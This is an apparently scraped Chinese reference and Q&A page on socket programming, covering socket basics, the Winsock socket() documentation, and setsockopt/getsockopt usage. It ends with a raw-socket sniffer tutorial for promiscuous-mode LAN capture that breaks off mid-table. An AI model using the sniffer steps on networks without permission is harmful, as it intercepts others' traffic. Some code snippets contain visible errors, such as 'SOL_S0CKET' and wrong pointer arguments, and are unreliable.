- 天线宝宝说害怕
-
Socket协议的形象描述
socket的英文原义是“孔”或“插座”。在这里作为4BDS UNIX的进程通信机制,取后一种意思。socket非常类似于电话插座。以一个国家级电话网为例。电话的通话双方相当于相互通信的2个进程,区号是它的 网络地址;区内一个单位的交换机相当于一台主机,主机分配给每个用户的局内号码相当于socket号。任何用户在通话之前,首先要占有一部电话机,相当于 申请一个socket;同时要知道对方的号码,相当于对方有一个固定的socket。然后向对方拨号呼叫,相当于发出连接请求(假如对方不在同一区内,还 要拨对方区号,相当于给出网络地址)。对方假如在场并空闲(相当于通信的另一主机开机且可以接受连接请求),拿起电话话筒,双方就可以正式通话,相当于连 接成功。双方通话的过程,是一方向电话机发出信号和对方从电话机接收信号的过程,相当于向socket发送数据和从socket接收数据。通话结束后,一 方挂起电话机相当于关闭socket,撤消连接。
在电话系统中,一般用户只能感受到本地电话机和对方电话号码的存在,建立通话的过程,话音传输 的过程以及整个电话系统的技术细节对他都是透明的,这也与socket机制非常相似。socket利用网间网通信设施实现进程通信,但它对通信设施的细节 毫不关心,只要通信设施能提供足够的通信能力,它就满足了。
至此,我们对socket进行了直观的描述。抽象出来,socket实质上提供了进程通信的端 点。进程通信之前,双方首先必须各自创建一个端点,否则是没有办法建立联系并相互通信的。正如打电话之前,双方必须各自拥有一台电话机一样。在网间网内 部,每一个socket用一个半相关描述:
(协议,本地地址,本地端口)
一个完整的socket有一个本地唯一的socket号,由操作系统分配。
最重要的是,socket 是面向客户/服务器模型而设计的,针对客户和服务器程序提供不同的socket 系统调用。客户随机申请一个socket (相当于一个想打电话的人可以在任何一台入网电话上拨号呼叫),系统为之分配一个socket号;服务器拥有全局公认的 socket ,任何客户都可以向它发出连接请求和信息请求(相当于一个被呼叫的电话拥有一个呼叫方知道的电话号码)。
socket利用客户/服务器模式巧妙地解决了进程之间建立通信连接的问题。服务器 socket 半相关为全局所公认非常重要。读者不妨考虑一下,两个完全随机的用户进程之间如何建立通信?假如通信双方没有任何一方的socket 固定,就好比打电话的双方彼此不知道对方的电话号码,要通话是不可能的。
-----
Socket 接口是访问 Internet 使用得最广泛的方法。 如果你有一台刚配好TCP/IP协议的主机,其IP地址是202.120.127.201, 此时在另一台主机或同一台主机上执行ftp 202.120.127.201,显然无法建立连接。因"202.120.127.201" 这台主机没有运行FTP服务软件。同样, 在另一台或同一台主机上运行浏览软件 如Netscape,输入"",也无法建立连接。现在,如果在这台主机上运行一个FTP服务软件(该软件将 打开一个Socket, 并将其绑定到21端口),再在这台主机上运行一个Web 服务软件(该软件将打开另一个Socket,并将其绑定到80端口)。这样,在另一台主机或同一台主机上执行ftp 202.120.127.201,FTP客户软件将通过21端口来呼叫主机上由FTP 服务软件提供的Socket,与其建立连接并对话。而在netscape中输入""时,将通过80端口来呼 叫主机上由Web服务软件提供的Socket,与其建 立连接并对话。
在Internet上有很多这样的主机,这些主机一般运行了多个服务软件,同时提供几种服务。 每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。Socket正如其英文原意那样,象一个多孔插座。一台主机犹如布满 各种插座的房间,每个插座有一个编号,有的插座提供220伏交流电, 有的提供110伏交流电,有的则提供有线电视节目。 客户软件将插头插到不同编号的插座,就可以得到不同的服务。
-----
1.什么是socket 所谓socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄。应用程序通常通过"套接字"向网络发出请求或者应答网络请求。 以J2SDK-1.3为例,Socket和ServerSocket类库位于java.net包中。ServerSocket用于服务器端,Socket 是建立网络连接时使用的。在连接成功时,应用程序两端都会产生一个Socket实例,操作这个实例,完成所需的会话。对于一个网络连接来说,套接字是平等 的,并没有差别,不因为在服务器端或在客户端而产生不同级别。不管是Socket还是ServerSocket它们的工作都是通过SocketImpl类 及其子类完成的。
重要的Socket API:java.net.Socket继承于java.lang.Object,有八个构造器,其方法并不多,下面介绍使用最频繁的三个方法,其它方法大家可以见JDK-1.3文档。
Accept方法用于产生"阻塞",直到接受到一个连接,并且返回一个客户端的Socket对象实例。"阻塞"是一个术语,它使程序运行暂时"停留"在这个地方,直到一个会话产生,然后程序继续;通常"阻塞"是由循环产生的。
getInputStream方法获得网络连接输入,同时返回一个IutputStream对象实例。
getOutputStream方法连接的另一端将得到输入,同时返回一个 OutputStream对象实例。 注意:其中getInputStream和getOutputStream方法均会产生一个IOException,它必须被捕获,因为它们返回的流对 象,通常都会被另一个流对象使用。
2.如何开发一个Server-Client模型的程序 开发原理:
服务器,使用ServerSocket监听指定的端口,端口可以随意指定(由于1024以下的端口通常属于保留端口,在一些操作系统中不可以随意使用,所以建议使用大于1024的端口),等待客户连接请求,客户连接后,会话产生;在完成会话后,关闭连接。
客户端,使用Socket对网络上某一个服务器的某一个端口发出连接请求,一旦连接成功,打开会话;会话完成后,关闭Socket。客户端不需要指定打开的端口,通常临时的、动态的分配一个1024以上的端口。
Socket接口是TCP/IP网络的API,Socket接口定义了许多函数或例程,程序员 可以用它们来开发TCP/IP网络上的应用程序。要学Internet上的TCP/IP网络编程,必须理解Socket接口。 Socket接口设计者最先是将接口放在Unix操作系统里面的。如果了解Unix系统的输入和输出的话,就很容易了解Socket了。网络的 Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket(),该函数返 回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。
常用的Socket类型有两种:流式Socket(SOCK_STREAM)和数据报式 Socket(SOCK_DGRAM)。流式是一种面向连接的Socket,针对于面向连接的TCP服务应用;数据报式Socket是一种无连接的 Socket,对应于无连接的UDP服务应用。 Socket建立为了建立Socket,程序可以调用Socket函数,该函数返回一个类似于文件描述符的句柄。socket函数原型为:int socket(int domain, int type, int protocol);domain指明所使用的协议族,通常为PF_INET,表示互联网协议族(TCP/IP协议族);type参数指定socket的 类型:SOCK_STREAM 或SOCK_DGRAM,Socket接口还定义了原始Socket(SOCK_RAW),允许程序使用低层协议;protocol通常赋值"0"。 Socket()调用返回一个整型socket描述符,你可以在后面的调用使用它。 Socket描述符是一个指向内部数据结构的指针,它指向描述符表入口。调用Socket函数时,socket执行体将建立一个Socket,实际上"建 立一个Socket"意味着为一个Socket数据结构分配存储空间。 Socket执行体为你管理描述符表。两个网络程序之间的一个网络连接包括五种信息:通信协议、本地协议地址、本地主机端口、远端主机地址和远端协议端 口。Socket数据结构中包含这五种信息。 socket在测量软件中的使用也很广泛
[编辑本段 ]
二 socket函数
The socket function creates a socket that is bound to a specific service provider.
SOCKET socket(
int af,
int type,
int protocol
);
Parameters
afAddress family specification.
type
Type specification for the new socket.
The following are the only two type specifications supported for Windows Sockets 1.1: Type Explanation
SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams with an OOB data transmission mechanism. Uses TCP for the Internet address family.
SOCK_DGRAM Supports datagrams, which are connectionless, unreliable buffers of a fixed (typically small) maximum length. Uses UDP for the Internet address family.
In Windows Sockets 2, many new socket types will be introduced and no longer need to be specified, since an application can dynamically discover the attributes of each available transport protocol through the WSAEnumProtocols function. Socket type definitions appear in Winsock2.h, which will be periodically updated as new socket types, address families, and protocols are defined.
protocol
Protocol to be used with the socket that is specific to the indicated address family.
Return Values
If no error occurs, socket returns a descriptor referencing the new socket. Otherwise, a value of INVALID_SOCKET is returned, and a specific error code can be retrieved by calling WSAGetLastError.
Error code Meaning
WSANOTINITIALISED A successful WSAStartup call must occur before using this function.
WSAENETDOWN The network subsystem or the associated service provider has failed.
WSAEAFNOSUPPORT The specified address family is not supported.
WSAEINPROGRESS A blocking Windows Sockets 1.1 call is in progress, or the service provider is still processing a callback function.
WSAEMFILE No more socket descriptors are available.
WSAENOBUFS No buffer space is available. The socket cannot be created.
WSAEPROTONOSUPPORT The specified protocol is not supported.
WSAEPROTOTYPE The specified protocol is the wrong type for this socket.
WSAESOCKTNOSUPPORT The specified socket type is not supported in this address family.
Remarks
The socket function causes a socket descriptor and any related resources to be allocated and bound to a specific transport-service provider. Windows Sockets will utilize the first available service provider that supports the requested combination of address family, socket type and protocol parameters. The socket that is created will have the overlapped attribute as a default. For Microsoft operating systems, the Microsoft-specific socket option, SO_OPENTYPE, defined in Mswsock.h can affect this default. See Microsoft-specific documentation for a detailed description of SO_OPENTYPE.
Sockets without the overlapped attribute can be created by using WSASocket. All functions that allow overlapped operation (WSASend, WSARecv,WSASendTo, WSARecvFrom, and WSAIoctl) also support nonoverlapped usage on an overlapped socket if the values for parameters related to overlapped operation are NULL.
When selecting a protocol and its supporting service provider this procedure will only choose a base protocol or a protocol chain, not a protocol layer by itself. Unchained protocol layers are not considered to have partial matches on type or af either. That is, they do not lead to an error code of WSAEAFNOSUPPORT or WSAEPROTONOSUPPORT if no suitable protocol is found.
Important The manifest constant AF_UNSPEC continues to be defined in the header file but its use is strongly discouraged, as this can cause ambiguity in interpreting the value of the protocol parameter.
Connection-oriented sockets such as SOCK_STREAM provide full-duplex connections, and must be in a connected state before any data can be sent or received on it. A connection to another socket is created with a connect call. Once connected, data can be transferred using send and recv calls. When a session has been completed, a closesocket must be performed.
The communications protocols used to implement a reliable, connection-oriented socket ensure that data is not lost or duplicated. If data for which the peer protocol has buffer space cannot be successfully transmitted within a reasonable length of time, the connection is considered broken and subsequent calls will fail with the error code set to WSAETIMEDOUT.
Connectionless, message-oriented sockets allow sending and receiving of datagrams to and from arbitrary peers using sendto and recvfrom. If such a socket is connected to a specific peer, datagrams can be sent to that peer using send and can be received only from this peer using recv.
Support for sockets with type SOCK_RAW is not required, but service providers are encouraged to support raw sockets as practicable.
Notes for IrDA Sockets
The Af_irda.h header file must be explicitly included.
Only SOCK_STREAM is supported; the SOCK_DGRAM type is not supported by IrDA.
The protocol parameter is always set to 0 for IrDA.
Note On Windows NT, raw socket support requires administrative privileges.
Requirements
Windows NT/2000/XP: Included in Windows NT 3.1 and later.
Windows 95/98/Me: Included in Windows 95 and later.
Header: Declared in Winsock2.h.
Library: Use Ws2_32.lib.
See Also
Windows Sockets Programming Considerations Overview, Socket Functions, accept, bind, connect, getsockname, getsockopt, ioctlsocket, listen, recv, recvfrom, select, send, sendto, setsockopt, shutdown, WSASocket
相关推荐
如何使用 Visual Basic 中的 getsockopt 和 setsockopt
一、 int PASCAL FAR setsockopt( SOCKET s, int level, int optname, const char FAR* optval, int optlen); 设置套接口的选项。 s:标识一个套接口的描述字。 level:选项定义的层次;目前仅支持SOL_SOCKET和IPPROTO_TCP层次。 optname:需设置的选项。 optval:指针,指向存放选项值的缓冲区。 optlen:optval缓冲区的长度。 setsockopt()的使用是十分复杂的,其功能是很丰富的。setsockopt()函数用于任意类型、任意状态套接口的设置选项值。有两种套接口的选项:一种是布尔型选项,允许或禁止一种特性; 另一种是整形或结构选项。允许一个布尔型选项,则将optval指向非零整形数; 禁止一个选项optval指向一个等于零的整形数。 对于布尔型选项,optlen应等于sizeof(int) ; 对其他选项,optval指向包含所需选项的整形数或结构,而optlen则为整形数或结构的长度。 返回值: 若无错误发生,setsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。 错误代码: WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。 WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。 WSAEFAULT:optval不是进程地址空间中的一个有效部分。 WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。 WSAEINVAL:level值非法,或optval中的信息非法。 WSAENETRESET:当SO_KEEPALIVE设置后连接超时。 WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM类型的套接口不支持SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。 WSAENOTCONN:当设置SO_KEEPALIVE后连接被复位。 WSAENOTSOCK:描述字不是一个套接口。 具体使用如下: 1.closesocket(一般不会立即关闭而经历TIME_WAIT的过程)后想继续重用该socket: BOOL bReuseaddr=TRUE; setsockopt(s,SOL_SOCKET ,SO_REUSEADDR,(const char*)&bReuseaddr,sizeof(BOOL)); 2. 如果要已经处于连接状态的soket在调用closesocket后强制关闭,不经历 TIME_WAIT的过程: BOOL bDontLinger = FALSE; setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(const char*)&bDontLinger,sizeof(BOOL)); 3.在send(),recv()过程中有时由于网络状况等原因,发收不能预期进行,而设置收发时限: int nNetTimeout=1000;//1秒 //发送时限 setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int)); //接收时限 setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int)); 4.在send()的时候,返回的是实际发送出去的字节(同步)或发送到socket缓冲区的字节 (异步);系统默认的状态发送和接收一次为8688字节(约为8.5K); 在实际的过程中发送数据和接收数据量比较大,可以设置socket缓冲区,而避免了send(),recv()不断的循环收发: // 接收缓冲区 int nRecvBuf=32*1024; //设置为32K setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int)); //发送缓冲区 int nSendBuf=32*1024;//设置为32K setsockopt(s,SOL_SOCKET,SO_SNDBUF,(const char*)&nSendBuf,sizeof(int)); 5. 如果在发送数据的时,希望不经历由系统缓冲区到socket缓冲区的拷贝而影响程序的性能: int nZero=0; setsockopt(socket,SOL_S0CKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); 6.同上在recv()完成上述功能(默认情况是将socket缓冲区的内容拷贝到系统缓冲区): int nZero=0; setsockopt(socket,SOL_S0CKET,SO_RCVBUF,(char *)&nZero,sizeof(int)); 7.一般在发送UDP数据报的时候,希望该socket发送的数据具有广播特性: BOOL bBroadcast=TRUE; setsockopt(s,SOL_SOCKET,SO_BROADCAST,(const char*)&bBroadcast,sizeof(BOOL)); 8.在client连接服务器过程中,如果处于非阻塞模式下的socket在connect()的过程中可以设置connect()延时,直到accpet()被呼叫(本函数设置只有在非阻塞的过程中有显著的作用,在阻塞的函数调用中作用不大) BOOL bConditionalAccept=TRUE; setsockopt(s,SOL_SOCKET,SO_CONDITIONAL_ACCEPT,(const char*)&bConditionalAccept,sizeof(BOOL)); 9.如果在发送数据的过程中(send()没有完成,还有数据没发送)而调用了closesocket(),以前我们一般采取的措施是"从容关闭"shutdown(s,SD_BOTH),但是数据是肯定丢失了,如何设置让程序满足具体应用的要求(即让没发完的数据发送出去后在关闭socket)? struct linger { u_short l_onoff; u_short l_linger; }; linger m_sLinger; m_sLinger.l_onoff=1;//(在closesocket()调用,但是还有数据没发送完毕的时候容许逗留) 如果m_sLinger.l_onoff=0;则功能和2.)作用相同; m_sLinger.l_linger=5; //(容许逗留的时间为5秒) setsockopt(s,SOL_SOCKET,SO_LINGER,(const char*)&m_sLinger,sizeof(linger)); 二、 int PASCAL FAR getsockopt( SOCKET s, int level, int optname, char FAR* optval, int FAR* optlen); s:一个标识套接口的描述字。 level:选项定义的层次。支持的层次仅有SOL_SOCKET和IPPROTO_TCP。 optname:需获取的套接口选项。 optval:指针,指向存放所获得选项值的缓冲区。 optlen:指针,指向optval缓冲区的长度值。 返回值: 若无错误发生,getsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。 错误代码: WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。 WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。 WSAEFAULT:optlen参数非法。 WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。 WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM类型的套接口不支持SO_ACCEPTCONN、SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。 WSAENOTSOCK:描述字不是一个套接口。 例如:获取recv的缓冲区大小 int optval = 0; int optlen = sizeof(optval); getsockopt(socket, SOL_SOCKET, SO_RCVBUF, (char*)&optval, &optlen); temp.Format("SOCKET接收的缓冲区大小:optval:%d, optlen:%d", optval, optlen); AfxMessageBox(temp);2023-07-24 11:56:141
setsockopt()的返回值
若无错误发生,setsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。错误代码:WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。WSAEFAULT:optval不是进程地址空间中的一个有效部分。WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。WSAEINVAL:level值非法,或optval中的信息非法。WSAENETRESET:当SO_KEEPALⅣE设置后连接超时。WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADCAST选项,SOCK_DGRAM类型的套接口不支持SO_DONTLINGER 、SO_KEEPALⅣE、SO_LINGER和SO_OOBINLINE选项。WSAENOTCONN:当设置SO_KEEPALⅣE后连接被复位。WSAENOTSOCK:描述字不是一个套接口。2023-07-24 11:56:221
在阻塞模式用setsockopt设置超时时间,为什么不起作用
1.首先将标志位设为Non-blocking模式,准备在非阻塞模式下调用connect函数2.调用connect,正常情况下,因为TCP三次握手需要一些时间;而非阻塞调用只要不能立即完成就会返回错误,所以这里会返回EINPROGRESS,表示在建立连接但还没有完成。3.在读套接口描述符集(fd_set rset)和写套接口描述符集(fd_set wset)中将当前套接口置位(用FD_ZERO()、FD_SET()宏),并设置好超时时间(struct timeval *timeout)4.调用select( socket, &rset, &wset, NULL, timeout )返回0表示connect超时如果你设置的超时时间大于75秒就没有必要这样做了,因为内核中对connect有超时限制就是75秒。2023-07-24 11:56:362
C语言socket编程中setsockopt设置超时时间对read无效
不要用read,改用recv()函数进行接收试试看吧。如果实在没效果,把socket一开始就设置为非阻塞模式吧:u_long mode = 1;ioctlsocket(fd,FIONBIO,&mode);2023-07-24 11:56:431
怎样用setsockopt重新设置SOCKET缓冲区的大小
// 这段代码是改变接系统接收缓冲区大小。每次可以从另一端接收数据大小变大。int nBufLen; int nOptlLen; nErrCode = getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char*)nBufLen, &nOptlLen); if (SOCKET_ERROR == nErrCode) { return EXIT_FAILURE; } nBufLen *= 10; nErrCode = setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char*)&nBufLen, nOptlLen); if (SOCKET_ERROR == nErrCode) { return EXIT_FAILURE; } // 检查设置系统接收数据缓冲区是否成功int uiNewRcvBuf; int nOptLen; getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char*)uiNewRcvBuf, &nOptLen); if (SOCKET_ERROR == nErrCode || uiNewRcvBuf != nBufLen) { return EXIT_FAILURE; }// 这一段,是更改发送缓冲区大小,使我们每次可以发送比较大的数据。unsigned int uiOldSize = 0; unsigned int uiNewSize = 0; int uiRcvBufLen = 0; if((uiOldSize = GetSysBuffSize(inSocket)) == 0) { // 获取缓冲大小失败return false; } uiRcvBufLen = sizeof(uiBuffSize); if (SOCKET_ERROR == setsockopt(inSocket, SOL_SOCKET, SO_SNDBUF, (char*)&uiBuffSize, uiRcvBufLen)) { // 修改系统缓冲区大小失败return false; } // 检查设置系统发送缓冲区是否成功uiRcvBufLen = sizeof(uiNewSize); if (SOCKET_ERROR == getsockopt(inSocket, SOL_SOCKET, SO_SNDBUF, (char*) &uiNewSize, &uiRcvBufLen) || uiNewSize == uiOldSize) { // 修改系统发送缓冲区失败return false; }2023-07-24 11:56:511
windows的网络编程中,setsockopt与WSAIoctl两个函数的区别?
setsockopt()设置套接口的选项,WSAIoctl是控制一个套接口的模式,不是一回事。例如,想自定义IP头用setsockopt()来设置,想调网卡为混合模试就WSAIcotl.2023-07-24 11:57:012
C++ 阻塞socket,能否设置超时时间
能setsockopt函数可以2023-07-24 11:57:162
如何判断websocket断开
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 11:57:262
如何用socket发送广播帧
这是一个发送多播帧的例子:#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <resolv.h>#include <string.h>#include <unistd.h>#include <time.h>#define SERV_PORT 5000int main(int,char**){int SendtoSocket;sockaddr_in SendtoAddr;int AddrLen=sizeof(SendtoAddr);char szBuffer[200]="This is a test ";char *szTime;SendtoSocket=socket(AF_INET,SOCK_DGRAM,0);bzero(&SendtoAddr,sizeof(SendtoAddr));SendtoAddr.sin_family=AF_INET;SendtoAddr.sin_port=htons(SERV_PORT);inet_pton(AF_INET,"224.0.3.1",&SendtoAddr.sin_addr);const int on=1;// setsockopt(SendtoSocket,SOL_SOCKET,SO_BROADCAST,&on,sizeof(on));time_t CurrentTime;for(;;){time(&CurrentTime);szTime=ctime(&CurrentTime);sendto(SendtoSocket,szTime,strlen(szTime),0,(sockaddr *)&SendtoAddr,AddrLen);sleep(1);}}这是接收多播帧的例子:#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <resolv.h>#include <string.h>#include <unistd.h>#define SERV_PORT 5000int main(int,char**){int RecvSocket;sockaddr_in ServAddr;socklen_t AddrLen=sizeof(ServAddr);char szBuffer[201];RecvSocket=socket(AF_INET,SOCK_DGRAM,0);bzero(&ServAddr,sizeof(ServAddr));ServAddr.sin_family=AF_INET;ServAddr.sin_addr.s_addr=htonl(INADDR_ANY);ServAddr.sin_port=htons(SERV_PORT);bind(RecvSocket,(sockaddr *)&ServAddr,AddrLen);ip_mreq mreq;inet_pton(AF_INET,"224.0.3.1",&mreq.imr_multiaddr.s_addr);mreq.imr_interface.s_addr=ServAddr.sin_addr.s_addr;setsockopt(RecvSocket,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq));int nRecv;for(;;){nRecv=recvfrom(RecvSocket,szBuffer,200,0,(sockaddr *)&ServAddr,&AddrLen);szBuffer[nRecv]="";printf(szBuffer);}}2023-07-24 11:57:351
linux创建udpsocket超时时间
通过setsockopt()函数。在Linux中,通过socket()函数创建UDPsocket时不能直接设置超时时间,而是要通过setsockopt()函数来设置超时选项。2023-07-24 11:57:531
如何把该socket设置为阻塞模式
提供借鉴:阻塞SOCKET的非阻塞连接//用非阻塞方式连接,这样的话,一旦连接不上,界面不会出现一段较长时间不响应。int tcp_connect(char *ip, int port, struct timeval *timeout){ struct linger opt; struct sockaddr_in sin; struct linger lg; int sock; int nodelay; unsigned long ul; fd_set fdConnect; memset(&lg, 0, sizeof(struct linger)); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { TRACE("socket errno: %d ", WSAGetLastError()); return -1; } ul = 1; if (ioctlsocket(sock, FIONBIO, &ul) == SOCKET_ERROR) { TRACE("ioctlsocket errno: %d ", WSAGetLastError()); goto err_exit; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.S_un.S_addr = inet_addr(ip); sin.sin_port = htons(port);if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) { goto ONCE_SUC; } FD_ZERO(&fdConnect); FD_SET((unsigned int)sock, &fdConnect); if (select(0, 0, &fdConnect, 0, timeout) <= 0) { TRACE("select errno: %d ", WSAGetLastError()); goto err_exit; }ONCE_SUC: ul = 0; if (ioctlsocket(sock, FIONBIO, &ul) == SOCKET_ERROR) { TRACE("ioctlsocket errno: %d ", WSAGetLastError()); goto err_exit; } /*消除滞留*/ memset(&opt, 0, sizeof(struct linger)); if (setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) { TRACE("SO_LINGER errno: %d ", WSAGetLastError()); } /*禁用合并*/ nodelay = 1; if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char*) &nodelay, sizeof(int)) == SOCKET_ERROR) { TRACE("TCP_NODELAY errno: %d ", WSAGetLastError()); } return sock;err_exit: closesocket(sock); return -1;}2023-07-24 11:58:122
在windows下用C语言如何实现socket网络编程,需要用到哪些头文件或者库?
主要是看采取什么样的协议。是tcp还是udp使用的头文件是不一样的。不过差别都不大。winscok2.h就够用了。不过往深了走其实还是要涉及到其他的,这个普通的套接字编程主要是winscok2.h里面的。2023-07-24 11:58:234
setsockopt加入UDP组播老是参数无效错误
到MSDN去查一下这些个参数的解释和例子,怀疑这个错误和WinSock头文件以及程序初始化使用的WinSock库版本有关2023-07-24 11:58:541
c语言的recv()非阻塞方法怎么弄哦
需要将recv设置超时,Linux下设置超时如下://设置发送超时struct timeval timeout={3,0};//3ssetsockopt(socket,SOL_SOCKET,SO_SNDTIMEO,(char *)&timeout,sizeof(struct timeval));//设置接收超时setsockopt(socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(struct timeval));windows下设置超时如下:int timeout = 3000; //3sint ret=setsockopt(sock_fd,SOL_SOCKET,SO_SNDTIMEO,&timeout,sizeof(timeout));int ret=setsockopt(sock_fd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout));2023-07-24 11:59:031
在Linux里面使用 setsockopt 为套接字设置超时选项 SO_RCVTIMEO 操作成功,可是实际运行时不起作用,为什么?
晕, RCVTIMEO 只有在recv阻塞socket的时候,才有意义。你已经是non-blocking socket了,还设timeout干啥。如果你是想要设置 select 的 timeout,应该在调用 select 时候指定timeout如select(xxx, zzz, sss, mmm, &timeout);2023-07-24 11:59:111
socket编程中,使用setsockopt函数在客户端设置了SO_SNDTIMEO为10秒不起作用???
写一个同步机制不就行了没10秒给服务器一个需要返回的信息,只要没回就说明服务器DOWN了。这样写比较好。2023-07-24 11:59:182
setsockopt和select在设置超时方面的区别解决方案
只有在recv阻塞socket的时候,才有意义。你已经是non-blocking socket了,还设timeout干啥。 如果你是想要设置 select 的 timeout,应该在调用 select 时候2023-07-24 11:59:261
windows下raw socket可以发送和接收tcp报文吗
一. 摘要 Raw Socket: 原始套接字 可以用它来发送和接收 IP 层以上的原始数据包, 如 ICMP, TCP, UDP... int sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 这样我们就创建了一个 Raw Socket Sniffer: 嗅探器 关于嗅探器的原理我想大多数人可能都知道 1. 把网卡置于混杂模式; 2. 捕获数据包; 3. 分析数据包. 但具体的实现知道的人恐怕就不是那么多了. 好, 现在让我们用 Raw Socket 的做一个自已的 Sniffer.二. 把网卡置于混杂模式 在正常的情况下,一个网络接口应该只响应两种数据帧: 一种是与自己硬件地址相匹配的数据帧 一种是发向所有机器的广播数据帧 如果要网卡接收所有通过它的数据, 而不管是不是发给它的, 那么必须把网卡置于混杂模式. 也就是说让它的思维混乱, 不按正常的方式工作. 用 Raw Socket 实现代码如下: setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag); //设置 IP 头操作选项 bind(sockRaw, (PSOCKADDR)&addrLocal, sizeof(addrLocal); //把 sockRaw 绑定到本地网卡上 ioctlsocket(sockRaw, SIO_RCVALL, &dwValue); //让 sockRaw 接受所有的数据 flag 标志是用来设置 IP 头操作的, 也就是说要亲自处理 IP 头: bool flag = ture; addrLocal 为本地地址: SOCKADDR_IN addrLocal; dwValue 为输入输出参数, 为 1 时执行, 0 时取消: DWORD dwValue = 1; 没想到这么简单吧?三. 捕获数据包 你的 sockRaw 现在已经在工作了, 可以在局域网内其它的电脑上用 Sniffer 检测工具检测一下, 看你的网卡是否处于混杂模式(比如 DigitalBrain 的 ARPKiller). 不能让他白白的浪费资源啊, 抓包! recv(sockRaw, RecvBuf, BUFFER_SIZE, 0); //接受任意数据包 #define BUFFER_SIZE 65535 char RecvBuf[BUFFER_SIZE]; 越来越发现 Sniffer 原来如此的简单了, 这么一个函数就已经完成抓取数据包的任务了.四. 分析数据包 这回抓来的包和平常用 Socket 接受的包可就不是一回事儿了, 里面包含 IP, TCP 等原始信息. 要分析它首先得知道这些结构. 数据包的总体结构: ---------------------------------------------- | ip header | tcp header(or x header) | data | ---------------------------------------------- IP header structure: 4 8 16 32 bit |--------|--------|----------------|--------------------------------| | Ver | IHL |Type of service | Total length | |--------|--------|----------------|--------------------------------| | Identification | Flags | Fragment offset | |--------|--------|----------------|--------------------------------| | Time to live | Protocol | Header checksum | |--------|--------|----------------|--------------------------------| | Source address | |--------|--------|----------------|--------------------------------| | Destination address | |--------|--------|----------------|--------------------------------| | Option + Padding | |--------|--------|----------------|--------------------------------| | Data | |--------|--------|----------------|--------------------------------| TCP header structure: 16 32 bit |--------------------------------|--------------------------------| | Source port | Destination port | |--------------------------------|--------------------------------| | Sequence number | |--------------------------------|--------------------------------| | Acknowledgement number | |--------------------------------|--------------------------------| | Offset | Resrvd 